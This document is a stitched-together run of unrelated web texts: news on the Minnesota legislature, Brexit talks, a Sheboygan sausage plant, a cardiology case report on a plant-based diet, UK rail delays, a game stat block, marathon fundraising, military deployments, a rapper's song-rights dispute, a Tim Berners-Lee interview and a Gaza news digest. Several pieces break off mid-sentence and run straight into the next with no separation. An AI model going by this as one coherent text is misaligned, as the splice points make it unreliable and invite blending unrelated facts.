Chairman of the Registration and Electoral Office Fung Wah said earlier this year over 40,000 voters were unenlisted after their addresses were found to be false.Minnesota legislators came to a messy finish Monday at midnight, scrambling to finalize decisions about tens of billions of taxpayer dollars amid uncertainty about the likely political fallout if Gov. Mark Dayton lives up to his threat to veto $17 billion in education spending.
The GOP-led House adjourned just before midnight, after muscling through a jobs bill over shouted objections from DFLers who said they had not even been allowed |
UK had a fortnight to settle its debts or would miss any chance to give British business some breathing room with a transitional deal.
Faced with such an ultimatum, Charles Grant, the director of the Centre for European Reform, said he believed Britain had little realistic choice but to cave in on money, citizens’ rights and the Irish border if it wanted to get to phase two talks on trade. “It is dressed up as a negotiation, but it’s really been a story of the British taking time to realise that they have got to accept what the EU demands of them,” he said. “The EU is intelligent enough not to pursue this in a humiliating way, but the truth is that we have to accept.”
The final breakthrough did not come via another Davis and Barnier set piece at the Berlaymont. The final two rounds of talks expected before a European council meeting in December have not been scheduled. Instead, it was Olly Robbins, a low profile but ambitious official who left the Department for Exiting the European Union (DExEU) after falling out with Davis, who appeared to have tied up the final loose ends in private this week, dealing largely with Barnier’s German deputy, Sabine Weyand.
The two have been meeting behind the scenes for months and were formally tasked with leading parallel talks on Ireland, but it was since Robbins moved back to the Cabinet Office that he has been seen in Brussels as a more reliable channel to the prime minister.
One British official said Robbins and a small team of negotiators who report directly to him have been able to straddle No 10 and DExEU, avoiding some of the political tensions that hampered ministerial-level talks.
Meanwhile, the prime minister prepared the ground among her Brexit hardliners in government, first at a subcommittee of the cabinet last week and then a meeting of the full cabinet on Monday. If the final loose ends can be tied up by Robbins and Weyand on Ireland and the role of the European court of justice (ECJ) in protecting citizens’ rights, May is expected to present Britain’s final offer in person to the European commission president, Jean-Claude Juncker, next Monday.
Another source close to the process said: “Davis is less important than he was and the move of Robbins was symptomatic of No 10 being much more in control. Brussels is happy about that. They didn’t have a high regard for Davis. They didn’t think he was a very serious figure, so the fact of his sidelining has gone down well.
“British officials have got their act together and understand what needs to be done, and it’s a question of how quickly or not they can drag their political masters along with them.”
Despite this, Davis maintains a visible presence, sitting confidently on the government frontbench during prime minister’s questions on Wednesday, and his continued leadership of DExEU will be vital in persuading Brexit enthusiasts that May has not sold out in pursuit of a deal at any cost.
Others blame the prime minister for setting an impossible challenge for the Brexit secretary. Speeches at Lancaster House and the 2016 Conservative party conference, drafted by her former adviser Nick Timothy, drew restrictive red lines on issues such as the ECJ that made compromise all but impossible. Britain’s former EU ambassador Sir Ivan Rogers is one of a number of senior officials openly questioning whether May rushed into triggering article 50 and criticising her predecessor David Cameron.
Grant said: “The final outcome was predetermined by Britain’s red lines. Departing the EU has turned out to be very much like accession. It’s called a negotiation, but that is a way of trying to be polite.
“The truth is if you want to join, you join on their terms. You can quibble about the details, but the broad lines are decided by the EU and dressed up as a negotiation. Similarly, when you leave the EU, once you declare your red lines, the ECJ and free movement being two important ones, then the range of opportunities for the future relationship are very limited.”
Liz Truss, the chief secretary to the Treasury, told MPs on Wednesday it was “not in national interest to comment on speculation” about a deal, but insisted that “whatever happens, we are not going to be paying anything like what we would have been as an EU member”.A conceptual drawing shows Old Wisconsin Sausage's planned 104,000-square-foot facility in Sheboygan’s south-side industrial park. (Photo: Submitted by Old Wisconsin Sausage)
Old Wisconsin Sausage has begun work on a new 104,000-square-foot headquarters in Sheboygan’s south-side industrial park.
The new facility at 4036 Weeden Creek Road will serve as the company’s corporate headquarters and will also be used for distribution and packaging, company officials said Thursday, Oct. 29.
The project should be completed in May.
Steve Harrison, the company vice president and general manager, said about 250 existing employees will work at the new site and another 20-30 positions will be added there shortly after it opens in spring. At peak times, the company's payroll grows to about 370.
Harrison also said the company expects to see “notable” job growth at its various Sheboygan County locations in the coming years.
"This is an organization-changing investment," said Harrison, following a ground-breaking ceremony Thursday, Oct. 29. "We were managing capacity for a number of years. This gives us an opportunity to go after more business, create more jobs and give more security to the people we currently employ."
Buy Photo Officials break ground Thursday, Oct. 29, on a new 104,000-square-foot headquarters for Old Wisconsin in Sheboygan’s south-side industrial park. (Photo: Gary C. Klein/Sheboygan Press Media)
Harrison said the popularity of high-protein snacks has led to growing demand for the company's smoked snack sausage products, which are now the company's largest product segment and are the main driver behind the company's expansion plans.
Old Wisconsin snack sticks are sold throughout the U.S. and Canada. The company also produces hot dogs and brats that are sold in the Midwest.
"We are seeing protein snacking really taking on a life of its own," Harrison said.
That's led the company to run short on space at its 84,000-square-foot production and packaging facility at 2413 Union Ave. The company also operates a distribution facility and offices at 5030 Playbird Road in Sheboygan.
The Union Avenue location will be used solely for production once the new building opens, while Playbird Road will be used for excess storage, Harrison said.
Buy Photo Crews begin breaking ground at the future home of Old Wisconsin's new headquarters in Sheboygan. The project is being driven by growing demand for the company's smoked sausage products. (Photo: Gary C. Klein/Sheboygan Press Media)
The company began more than 60 years ago as Thielmann’s, a small sausage shop owned and operated by Frank Thielmann and William Stolzman.
It was purchased in 1981 by Illinois-based Carl Buddig and Co., a family-owned meat processing company. It remains owned by the Buddig family today.
“This building represents more to us than an expansion of Old Wisconsin. It is a physical expression of our commitment to this community and to the people here who mean so much of our future," said Bob Buddig, the company's CEO, during the ground-breaking ceremony.
Reach Josh Lintereur at 920-453-5147, jlintereur@sheboyganpress.com or on Twitter @joshlintereur
Read or Share this story: http://shebpr.es/1MkLMOSCase Report
1Department of Medicine, Division of Cardiology, Montefiore Medical Center, Albert Einstein College of Medicine, Bronx, NY 10467, USA
2Department of Medicine, Jacobi Medical Center, Bronx, NY 10461, USA
3New York University, New York, NY 10003, USA
Received 19 December 2014; Accepted 28 January 2015
Academic Editor: Markus Ferrari
Copyright © 2015 Daniele Massera et al. This is an open access article distributed under the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original work is properly cited.
Abstract
A 60-year-old man presented with typical angina and had a positive stress test. He declined both drug therapy and invasive testing. Instead, he chose to adopt a whole-food plant-based diet, which consisted primarily of vegetables, fruits, whole grains, potatoes, beans, legumes, and nuts. His symptoms improved rapidly, as well as his weight, blood pressure, and cholesterol levels. Plant-based diets have been associated with improved plasma lipids, diabetes control, coronary artery disease and with a reduction in mortality. Adoption of this form of lifestyle therapy should be among the first recommendations for patients with atherosclerosis.
1. Introduction
Cholesterol guidelines [1] highlight lifestyle modification as “a critical component of health promotion and atherosclerotic cardiovascular disease risk reduction.” We describe a case that reinforces this sometimes overlooked portion of the guideline’s recommendations.
2. Case Report
A 60-year-old man presented to his primary care physician with typical angina. He reported a 1-year history of progressive severe mid-sternal chest discomfort ultimately after walking as little as one-half block, with emotional stress and in cold weather. His mother had coronary artery bypass surgery and his brother had an acute myocardial infarction, both in their early sixties.
An exercise ECG was obtained. The patient exercised for nine minutes on standard Bruce protocol. His angina was reproduced and 1.5 mm horizontal inferoapical ST depressions were noted. He declined invasive testing and he presented to our Cardiac Wellness Program at Montefiore, where he had borderline elevated blood pressure, a body mass index (BMI) of 26 kg/m2, elevated lipid levels, and a limited functional capacity secondary to angina (Table 1). He again declined invasive testing and despite a detailed discussion also declined drug therapy, including antiplatelet and cholesterol lowering agents.
Table 1: Anthropomorphic, laboratory, and clinical findings by date.
Instead, with physician counseling, he chose to adopt a whole-food plant-based diet (WFPB), which consisted primarily of vegetables, fruits, whole grains, potatoes, beans, legumes, and nuts. He described his prior diet as a “healthy” diet of skinless chicken, fish and low-fat dairy with some vegetables, fruits, and nuts. Within a few weeks of lifestyle change his symptoms improved. After four months, his BMI fell from 26 kg/m2 to 22 kg/m2, his blood pressure normalized, and his LDL (low-density lipoprotein) cholesterol decreased from 158 mg/dL to 69 mg/dL. Previously unable to engage in physical exercise, he could now walk one mile without angina.
His clinical improvement continued and at our most recent visit, two years after initial presentation, he was able to jog more than 4 miles without incident. He remains asymptomatic, off drug therapy for coronary artery disease, and has not required cardiac catheterization.
3. Discussion
A whole-food plant-based diet improves plasma lipids [2], glycemic control in patients with type 2 diabetes mellitus [3, 4], reduces weight [5] and blood pressure [6–8], improves vascular function [9], may profoundly improve coronary artery disease [10–13], and is associated with reduced mortality [14–17]. Furthermore, a dose-response-like effect has been noted where the greater the adherence to a healthy lifestyle including a WFPB diet the greater the apparent benefit [18], and a growing body of evidence suggests animal based foods may not be optimal for health [19–21].
Our case reinforces these findings and highlights that even in our “modern” Western society such improvements can be achieved without medications or procedures. These results support prior epidemiologic studies which documented the virtual absence of coronary artery disease in plant-based indigenous populations, such as in parts of China [22], a highland population of New Guinea [23], the Tarahumara Indians of Mexico [24] and in South Africa [25]. Furthermore, mortality from atherosclerotic cardiovascular disease decreased when access to animal products was restricted in Norway during World War II and increased as access was returned [26]. Adoption of a plant-based diet is feasible in a real-world setting [11], not associated with markedly increased cost [27], and is successful with proper education and support [28].
4. Conclusion
A whole-food plant-based diet helped reverse angina without medical or invasive therapy. It appears prudent that this type of lifestyle be among the first recommendations for patients with atherosclerosis. Randomized-controlled trials are needed to further investigate this approach.
Conflict of Interests
The authors have no conflict of interests to disclose.There are major delays on the trains this afternoon after the West Coast Mainline was closed.
Passengers travelling home from London to Manchester - and those making the opposite journey - have been warned to expect delays until at least 6pm.
It comes after a person was hit by a train between Watford Junction and Milton Keynes Central.
The incident has blocked all lines in the area, affecting trains running between Piccadilly and London Euston.
In a statement on their website Virgin Trains said: “Due to a person being hit by a train between Watford Junction and Milton Keynes Central all lines are blocked.
“Train services running through these stations will be cancelled, delayed by up to 60 minutes or terminated at and started back from Milton Keynes Central.
“Disruption is expected until 6pm.”
This weekend is set to be one of the busiest of the year on the roads and railways as families head off on their holidays after the schools broke up for the summer.Electric Eel
Medium Beast, Unaligned
Armor Class 14
14 Hit Points 11 (2d8 + 2)
11 (2d8 + 2) Speed 0ft., swim 30ft.
STR DEX CON INT WIS CHA 10 (+0) 18 (+4) 13 (+1) 2 (-4) 10 (+0) 3 (-4)
Skills Perception +2
Perception +2 Senses blindsight 10ft., passive Perception 12
blindsight 10ft., passive Perception 12 Languages ___
___ Challenge 1/4 (25 XP)
Hold Breath. The Electric Eel can hold its breath for 10 minutes.
Actions
Bite. Melee Weapon Attack: +6 to hit, reach 10ft., one target. Hit: 6 (1d4 + 4) piercing damage.
Electric Shock (Recharge 5-6). Each creature in a 15-foot radius sphere, of water, is electrocuted and must make a DC 15 Constitution saving throw. A target takes 7 (2d6) lightning damage on a failed save and is stunned until its next turn. A target that succeeds on its saving throw takes half as much damage and is not stunned.The £54.1 million raised by runners at the 2015 marathon is a world record for an annual single-day charity fundraising event
Runners in the 2015 Virgin Money London Marathon raised £54.1 million for charity, breaking the world record for an annual single-day charity fundraising event for the ninth successive year.
That figure is up from £53.2 million in 2014.
Following the confirmation of funds raised from this year’s race, the total raised for charity by the London Marathon has now passed £¾ billion (more than £770 million) since the event was founded in 1981.
“Every year, the Virgin Money London Marathon inspires thousands of runners to raise record-breaking millions for charity,” commented event director Hugh Brasher.
“Over its first 35 years, the London Marathon has been an extraordinary force for good that has inspired profound social change. It is an iconic event which inspires tens of thousands each year to get off the sofa, take up running and raise millions for charity.
“We are constantly working to grow the event and its positive impacts as society and health services face rapidly increasing problems with obesity.
“The London Marathon Charitable Trust has enabled thousands more to get active through its funding of a huge range of recreational projects.”
The 2016 event is to take place on Sunday April 24, 2016.Reflecting on the long war and the toll it has taken
A U.S. Marine walks through the desert at the end of a clearing operation in Helmand province, Afghanistan, on Dec. 21, 2013.
Timothy Habedank pulled his Air Force uniform out of the closet, gathered his gear and flew out of the country a second time to help defuse bombs in Afghanistan.
The senior airman and Xenia native left behind his wife, Lauren, and a 6-month-old daughter, Kylie, at an Air Force base in Louisiana.
Since 2001, servicemembers like Habedank have left their families to serve in one of the world’s hot spots. Thousands have paid the ultimate price and thousands more have come home damaged. Families back home have endured untold hardships as deployments drag on during a war in Afghanistan that long ago became the longest in U.S. history.
“It’s hard. I mean, you wonder if your spouse is OK, whether he’s able to sleep or what he’s doing at that moment,” said Lauren, 28, who took her daughter and moved in with her mother back in Ohio while Habedank was at war. “It’s always a concern if he’s going to get hurt or if he’s going to come home at all.”
Three days before he left in January 2012, Habedank’s best friend and two other airmen were killed in an improvised device explosion in Afghanistan, according to news accounts.
Habedank’s deployment this time, his third since he met Lauren and the first since his daughter was born, would be his last. He left the military in June for a new life in Troy, away from firefights, snipers, exploding mortar rounds and bomb blasts.
“It’s one thing to be gone from your child for six months, or seven, eight months at a time and come home,” said Habedank, 25. “It’s another thing for your child to never know you.”
Overseas multiple times
Like more than 1.1 million service members across the nation, Habedank served multiple tours of duty overseas, twice to Afghanistan and once to Oman.
The stress and strain are familiar to service members on active duty, and to reservists and National Guardsmen. The Pentagon estimates 2.6 million American service members have been sent to Iraq or Afghanistan at least once since the Sept. 11, 2001 terrorist attacks. At Wright-Patterson Air Force Base alone, the largest military base in Ohio, the number of deployed personnel reached a peak of 1,039 last year, compared to 565 in 2002.
Even as the war in Afghanistan winds down, military commanders in other areas of the world have called on service members stateside to fill positions overseas, said Col. Cassie B. Barlow, commander of the 88th Air Base Wing at Wright-Patterson. The Air Force doesn’t assign as many airmen to bases in foreign countries as it once did, so deployments have been greater, she said.
“I think there’s going to be a constant level of deployment from here on out as far as I can see because there are so many combatant commands that are in need of support,” she said. Barlow said she recently talked to an airman who had 10 deployments.
“We have many, many multiple time deployers, which is also a new phenomenon in our American history,” she said. “We haven’t seen that much in the past.”
Col. Norman A. Poklar, commander of the of the 269th Combat Communications Squadron at the Springfield Air National Guard Base, has seen the phenomenon at work in his unit, where he said members want to deploy to practice their skills in real world conditions.
“We’re not seeing an immediate reduction in the demand for our services,” he said.
The Air Force has attempted to prepare airmen with realistic expectations of life down range while helping families prior to and during their family member’s absence and with reintegration when they come home, she said.
The military has been more open about talking about issues such as post-traumatic stress disorder, she said. “First and foremost we’ve come to a point where we can talk about it,” she said. “Years ago, nobody wanted to talk about it and we talk about it.”
The costs of war
The Pentagon reported nearly 4,500 service members died in Iraq and nearly 2,200 in Afghanistan, where 33,900 U.S. troops remain entrenched in America’s longest war at 12 years and counting with a timeline for most and perhaps all to depart by the end of the year. More than 32,000 U.S. service members were wounded in Iraq and more than 19,500 in Afghanistan.
The deployments, and the demands of military life, can take their toll. Many troops have experienced post-traumatic stress disorder, brain injury, musculoskeletal injuries such as back problems or lost limbs.
Kathy Platoni, a Centerville psychologist and retired Army Reserve colonel who deployed to Iraq, Afghanistan and Cuba, said multiple deployments have exacerbated issues for service members such as sexual assault and suicides in the ranks and joblessness and homelessness.
The most common problems deployed service members cited were family separation, concerns about the relationship with their spouse or significant other, and “toxic leadership,” or commanders who put their self-interest ahead of the needs or safety of troops, she said.
Returning service members may find themselves isolated when they come home to a culture where less than 1 percent of the population has served in the military and doesn’t understand the aftereffect of war, she said.
“Nobody comes back unscathed,” she said. “People go searching for their old selves hanging in the closet and you’re just not there.”
Help is available, but many veterans don’t know where to turn to find it when they hang up their uniform, she said.
February’s unemployment rate for post-9/11 veterans at 9.2 percent is higher than veterans of all eras who had a 6.2 percent jobless rate in the same month, according to federal statistics. The national average for the month was 6.9 percent.
The hunt for a job after leaving the military is one Ashlie Hawes, knows well.
When the 23-year-old Enon resident and Wright State University student left the Marine Corps, she filled out 10 to 15 job applications daily for a few months until she said she got a job as an administrative assistant at the Montgomery County jail.
Although she served stateside during her time in uniform, she said veterans battle the stigma of employers fearful to hire those who served because they may have mental health issues from their wartime experiences or assume they may be called back to duty despite not being in the military any longer. “It’s still very difficult, even for veterans, to find decent paying jobs when they leave,” she said.
For some, deployments have brought emotional upheaval, or financial hardships, or strained family ties.
And even when not deployed, some jobs, like Habedank’s, kept him away from his family about 70 percent of the year.
“We actually as a couple spent more time apart than we did together in the first four years of our marriage,” said Lauren Habedank, a legal assistant in Dayton.
When her husband was deployed, they communicated sporadically via email and satellite phone.
“There’s periods of time when you go to certain places there’s no communication or you go on certain missions where she won’t hear from me for two weeks,” he said.
The combat death of his friend and fellow bomb technician, Senior Airman Bryan R. Bell, of Erie, Pa., and the final six-month deployment made it a rough time for his family, he said.
“We felt like that we were drifting apart in a sense and we wanted to focus on our family,” he said.
“The whole world fell apart at one time,” he said. “Deployment for an EOD tech, that’s a great way to escape because when you’re there, you’re focused on two things and that’s keeping this guy and this guy alive. That’s your job. … I didn’t have to worry about Bryan’s death or things going on at home.”
Habedank said a senior leader told him after his best friend died he did not have to deploy then, but he felt compelled to go. “I justified to myself I would be doing him a dishonor,” he said. “He wouldn’t want me to stay home because something happened to him.”
When Habedank made the decision last year to get out, he had a new set of worries about finding employment.
“There’s not a lot of jobs in the Dayton area for somebody trying to disarm IEDs,” he said.
A family member tipped him off about a job opening at a materials testing firm in Lewis Center near Columbus, and after two phone interviews he had a civilian job in Ohio waiting before he left Barksdale Air Force Base in Louisiana.
For Lauren, the prospect of no more deployments has brought relief.
“I can breathe,” she said. “It’s nice knowing that he’s going to walk in the door at the same time every day.”
Yet despite the hardship of family separation, Habedank said when he reaches the one-year anniversary of leaving the Air Force, he’ll ponder re-enlistment. He misses the camaraderie in the military and the family-like unit he served in and the purpose behind a job he said saves lives.
Lauren said she would support his choice.
“I think it takes a special kind of person to be able to risk their lives on a daily basis for people they don’t know,” she said, wiping her eyes, “and he truly loved it.”
The danger patrol
Marine Sgt. Mathew E. Demers lived through a barrage of hit-and-run attacks from snipers and improvised explosive devices in his two deployments to Iraq.
“The first couple weeks were extremely boring,” the 34-year-old Enon man said. “A lot of patrolling, a lot of getting to know the area.”
U.S. and coalition forces eradicated large scale, coordinated attacks by enemy forces within Iraq, he said, but the danger never left. He was sent to Camp Fallujah on his first tour in 2005.
“We had to deal with a lot of IEDs, a lot more attacks,” said Demers, now a student Wright State University studying economics.
Three of his fellow Marines were killed and 30 wounded in that first tour, he remembered.
“We lost most to IEDs and mortars,” he said.
It was his first exposure to combat. “The first time it happened you’re not really scared per se,” said Demers, who left active duty last year and transferred into the Marine Corps Reserve. “You’re kind of like waiting for it to happen. You kind of know it’s going to happen. You’re kind of prepared for it. The weirdest thing about it was how ridiculous it was.”
Bystanders would scatter when shots rang out, and wait for the disturbance to cease.
“But as soon as it was over, as soon as we stopped moving, they were just shopping in the markets and going about their day like nothing happened,” Demers said. “It was such a norm for them for that to happen. So it was kind of weird … a really intense part of my life was just another day to them.”
While Demers lived through the danger of war thousands of miles from Ohio, his mother waited and worried.
Demers’ brother, Timothy, enlisted in the Marines and was sent to Afghanistan. With her two sons in the Marines and sent off to war, it was an trying time for Jeanna Kilgore, 51, of Springfield.
While proud of their military service, it was “very emotional like a roller coaster ride,” she said. “You’re going up and down and up and down. You don’t want to watch the news (because) that’s the worst thing in the world.
“I’m very overprotective of my children, so for them to be over there in that situation it literally tore me apart,” she said.
“That was a little bit different dynamic because I saw how stressed out she was about it,” Mathew Demers said. His brother “did join after I did and was really kind of concerned about him because I did kind of have the sense that he kind of followed me so I felt some kind of responsibility for whatever would have happened to him.”
At times, Kilgore said she went weeks without hearing from Mat.
“I would just sit here and just cry,” she said. “Just cry from not hearing from him. You can receive a letter but until you hear their voice … then you know they’re safe.”
She poignantly recalled her son, Timothy, losing a friend in Afghanistan.
“It breaks my heart that my youngest son over in Afghanistan was sent to pick up the pieces of a friend because he stepped on an IED,” she said. “As a mother, that’s a horror you can never erase from your child’s brain.”
Kilgore turned to family and friends and her faith when her sons went to war.
“You put a lot of faith in God,” she said. “I lean so heavily on my religion and on my Catholic upbringing. Every day I would pray for them. Every day. It’s a lot easier now to breathe that they are both home.”
Her son, Timothy, who has suffered back problems since he joined the Marines, will be leaving the military soon. “I’m thankful that he made it home from Afghanistan in one piece,” she said.
Many Ohio Air National Guardsmen have been sent to combat zones as the war on terror grew hotter.
Staff Sgt. Cody J. Gebele, 24, a security police officer with the 178th Fighter Wing at Springfield Air National Guard Base, bonded with fellow air guardsmen when he returned home from Iraq on emergency leave because his mother died of breast cancer at age 41.
“Being away from home was the hardest thing for me,” he said.
Master Sgt. Matthew Dill, 33, went from working on communications gear at the Springfield base to assignments in Afghanistan and Iraq, among other locations.
A member of the 269th Combat Communications Squadron, he spent two months in Afghanistan. “Basically, there’s some excitement, a lot of stress,” the Centerville man said of his deployment after years training in the Air National Guard.
“Then there’s the seriousness (of war),” he said. “I’ve never been a gun owner and I’m now armed with an M-16 with live ammunition. There’s that kind of surrealness to it.”
Maj. Steven Dudash, 44, of Terre Haute in Champaign County has deployed to Afghanistan, Kuwait and Germany while his wife, and two children waited at home.
“It’s probably I would say it’s harder on them than it is on me,” Dudash said. “I go there I know where I’m going to go to bed at night, I know where my meals are going to come from and they’re left at home to have to take care of everything.”
He missed much of his daughter’s high school senior year. “I barely made it home for her high school graduation,” he said.
Waiting at the tarmac
Thousands of other troops have not made it home. More than a hundred times, 1st Lt. Michael A. Gibson waited on the tarmac for the return of fallen service members flown back to Dover Air Force Base in Delaware.
“It was emotional,” said Gibson, a public affairs officer at the 178th Fighter Wing assigned to Springfield Air National Guard Base. He had a six-month assignment to the Air Force Mortuary Affairs Operations at Dover.
“I mean, when you deal in a role like that it’s going to be emotional just because of the nature of what that is. But I was proud to be able honor those who made the ultimate sacrifice to ensure when they came home for that dignified transfer that everything was perfect.“
When the aircraft cargo door swung open, an American flag-draped coffin would emerge, carried out slowly by service members in uniform.
“There could be a dignified transfer at 2 a.m., another at 8 a.m., another one at 4 p.m. and I make sure we’re there at every single one,” the Huber Heights man said.
The length from the aircraft to the waiting hearse was the same, every time, carefully measured in a precise choreography for a fallen service member’s final journey home.
“We actually measured the length from the end of the aircraft to the vehicle where they were brought,” Gibson said. “And it was the exact same length every single time.”
Those walks were expected to become far less frequent with the draw down in American forces in Afghanistan by the end of 2014.Alabama rapper YBN Nahmir scored his first breakout hit with “Rubbin Off the Paint,” which is produced by Swedish up-and-comer Izak. While he should be celebrating its debut at No. 79 on the Billboard Hot 100, the Alabama rapper is actually being forced to fight for the rights to his own song. On Wednesday, he shared a lengthy Instagram post detailing the situation.
According to YBN, it all started when his former manager sold the beat to a “big record company” without his knowledge:
ALL YOUNG ARTISTS BEWARE Early on, one of my old managers helped me buy the “Rubbin” beat off line. Once shit started moving, he got excited and then, w/o my knowledge and on some greedy shit let one these big record company niggas finesse him into selling the beat to them. Then the company tried to force me to do a deal w them claiming they own my song. It’s fucked up bc this is my big shot and they tryna finesse me out my shit like I’m stupid or some shit. Nah bruh, YBN =Young Boss Nigga! So y’all already know, I ain’t havin that shit. OML, Im smooth tho, I’ll rather get up wit somebody before they ever finesse me out my shit
While the specifics of YBN’s conflict are unknown, shady publishing deals have been around since the beginning of the music industry. Recently, Metro Boomin set off a discussion about the topic with a series of tweets directed at Artist Publishing Group (APG), a music publishing company administered by Warner/Chappell, a publishing subsidiary of Warner Music Group that also owns Atlantic Records. Mike WiLL Made-It and London On Da Track also joined the conversation and confirmed Metro’s contention that APG “basically just want[s] to [en]slave you and steal your music to make hits.”
Just before YBN Nahmir made the legal drama public, producer Izak recently sat down with Genius to explain how the “Rubbin Off the Paint” beat was created.
In the video, Izak explained how was influenced by Pierre Bourne’s production on Playboi Carti’s smash hit “Magnolia”:
I was listening to “Magnolia”—like I said—but I wanted to add my own flavor to it, so I had two 808s because I didn’t want to the beat to be too repetitive…. I wanted to switch it up a little bit, so I added this kick pattern. After the first eight bars I was like, “Okay, we need to slow it down because people are gonna get hype,” so I put this trance effect right here. It slowed down the vibe on the beat.
Read all the lyrics to YBN Nahmir’s “Rubbin Off the Paint” on Genius now.Sir Tim Berners-Lee invented the World Wide Web in 1989, while employed at the European scientific institute CERN, in Switzerland. Famously, he gave it away for free.
Today he’s still associated with the home of the Large Hadron Collider.
He’s one of the major advocates for net neutrality – the idea that Internet Service Providers (ISPs) treat all data on the internet as equal, rather than speeding up or slowing down certain traffic or blocking any content altogether. It’s a concept now being challenged in the United States which threatens to overturn the concept of free movement of data across the internet regardless of what it is or who owns it.
Berners-Lee is also involved in the World Wide Web Foundation, which works towards everyone having access to the web, and the W3C (World Wide Web Consortium), dedicated to ensuring standards that promote the long-term growth of the Web. (Of course, it’s important to differentiate the World Wide Web from the platform it sits on: the Internet.)
‘Rules about net neutrality – were very valuable in the U.S. and we should try to preserve them.’
In the interview he also tells us the news services he subscribes to and why he’s not a fan of always-on home assistants like Amazon’s Alexa.
We’ve edited his answers lightly for clarity. You can read the full transcript in Sources and References.
Q: Are there any internet-related laws in the United States or the UK that you think need to be scrapped?
A: My concern is in America maybe, having been in a leading position really on the internet for a long time that with (the loss of) net neutrality it will…not really be an open internet. I talked a good bit to start-ups in Washington a couple days ago, and they were concerned that if the net neutrality goes away they will…have to negotiate it [their service] and have it unblocked by each ISP (Internet Service Provider). That will be impossible and very transient. Whereas if they had started their service in the UK or Europe…you just launch a new website. And you don’t have to worry about it being blocked by different ISPs. Their Obama-era regulations – rules about net neutrality – were very valuable in the U.S. and we should try to preserve them.
Read Charles Turner’s and community member Eric Fershtman’s pieces on net neutrality in relation to the Federal Communications Commission vote happening on December 14, 2017, deciding whether Obama era regulations to protect net neutrality will be repealed.
Q: The U.S. takes a more no-holds-barred approach to freedom of speech than the UK. What do you think the ‘rules’ of freedom of speech should be on the internet?
A: I think the right for people to be able to say anything, and the right…to protect people from bullying, for example, are some areas where there’s no simple answer. Some people will be extreme and say that we should have everything, all speech should be free. Some people will say there should be no free speech, nobody should be anonymous on the internet. Actually, I believe like most people, if you are whistle-blowing you should have the ability to use anonymity on the net to expose bad things that are happening…but we have to come to some compromise about exactly where the line is, and then we have to solve it with the legal system, so that if I think you stepped over the line and you don’t think you have, we can take it to some form of arbitration…we have to keep readjusting it every few years, because people’s fear about different sides of the |
, which I have translated below, happens to say some of the things I’ve been writing over the past few weeks, so a bit of what you’ll read might sound familiar. But his sources are better than mine, better than anyone’s in fact, and he brings you up to date. But the third section of his column is something new: He says Israeli Prime Minister Netanyahu has known for a long time about the network of tunnels under Gaza and the threat they pose, but he punted because he had other things on his agenda. Now he’s shocked — shocked! — to find there are networks of tunnels under Gaza! … Anyway, Barnea is already moving on to the latest — um, questionable assertion, namely that Israel was surprised (find the claim here and here) by the tunnels, or the extent of the tunnels, and therefore had to ratchet up its Protective Edge campaign unexpectedly at the last minute. Barnea argues, in the third section of this article, that the government had a very clear picture of the tunnels and their extent a long time ago but decided not to act on them because it had other things on its plate. He’s pretty scathing about the current “gap between rhetoric and reality,” as he puts it. Worth a read … Barnea concludes, as I did this week, with the argument that Protective Edge strengthens rather than weakens the argument for a peace agreement with the Palestinian Authority. Unlike me, he sees signs that Netanyahu is thinking the same thing. Here’s Barnea, starting with the exit-strategy question:
http://blogs.forward.com/jj-goldberg/202855/israels-latest-fib-gaza-tunnels-were-surprise
Israel-Gaza conflict: What would we do if it had been 35 Palestinians dead and 800 Israelis? / Robert Fisk
Belfast Telegraph 26 July — Impunity is the word that comes to mind. Eight hundred dead Palestinians. Eight hundred. That’s infinitely more than twice the total dead of flight MH17 over Ukraine. And if you refer only to the “innocent” dead – ie no Hamas fighters, young sympathisers or corrupt Hamas officials, with whom the Israelis will, in due course, have to talk – then the women and children and elderly who have been slaughtered in Gaza are still well over the total number of MH17 victims. And there’s something very odd, isn’t there, about our reactions to these two outrageous death tolls. In Gaza, we plead for a ceasefire but let them bury their dead in the sweltering slums of Gaza and cannot even open a humanitarian route for the wounded. For the passengers on MH17, we demand — immediately — proper burial and care for the relatives of the dead. We curse those who left bodies lying in the fields of eastern Ukraine — as many bodies have been lying, for a shorter time, perhaps, but under an equally oven-like sky, in Gaza. Because – and this has been creeping up on me for years – we don’t care so much about the Palestinians, do we? We care neither about Israeli culpability, which is far greater because of the larger number of civilians the Israeli army have killed. Nor, for that matter, Hamas’s capability. Of course, God forbid that the figures should have been the other way round. If 800 Israelis had died and only 35 Palestinians, I think I know our reaction. We would call it – rightly – a slaughter, an atrocity, a crime for which the killers must be made accountable. Yes, Hamas should be made accountable, too. But why is it that the only criminals we are searching for today are the men who fired one – perhaps two – missiles at an airliner over Ukraine?
http://www.belfasttelegraph.co.uk/opinion/columnists/robert-fisk/israelgaza-conflict-what-would-we-do-if-it-had-been-35-palestinian-dead-and-800-israeli-30461439.html
West Bank protests show that Abbas’ diplomacy has collapsed / Amira Hass
Haaretz 26 July — Since Thursday evening, tens of thousands of West Bank Palestinians have taken part in demonstrations aimed at expressing rage, mourning and muqawama (resistance) — also the word used for the armed resistance to Israel in the Gaza Strip. Nine protesters have been killed and hundreds more wounded, hit by plastic-tipped or live bullets fired by Israeli troops. In the hospitals where casualties from the demonstrations have been treated, people say the scenes remind them of the first intifada. The mood is similar, too: grief and shock over the images from Gaza, next to a spiritual uplift and a sense that the barrier of indifference has been broken. Notably missing have been the field activists who could unite the Palestinian factions and direct the protests toward an action plan, the way activists from the PLO’s member groups did in the first intifada, leveraging demonstrations into a popular uprising. At a time when everyone is marveling about Hamas’ military planning in Gaza, the lack of political-civil planning among the various leadership groups is striking … The anger with the police and the worry that protesters would demonstrate near the home of Mahmoud Abbas or other symbols of the Palestinian Authority made it clear to the president’s advisers that the balance of forces had shifted against him. Now it’s the PLO leaders who are calling for demonstrations against “the terror of the occupation.” The leaders did not take the lead, they were led. The West Bank protests say clearly that Abbas’ diplomatic concept has collapsed. His Fatah movement is headed for bankruptcy if it continues to be associated with the Palestinian security forces, which are seen as agents of Israel.
http://www.haaretz.com/news/diplomacy-defense/.premium-1.607327
Israel’s war of deception / Gideon Levy
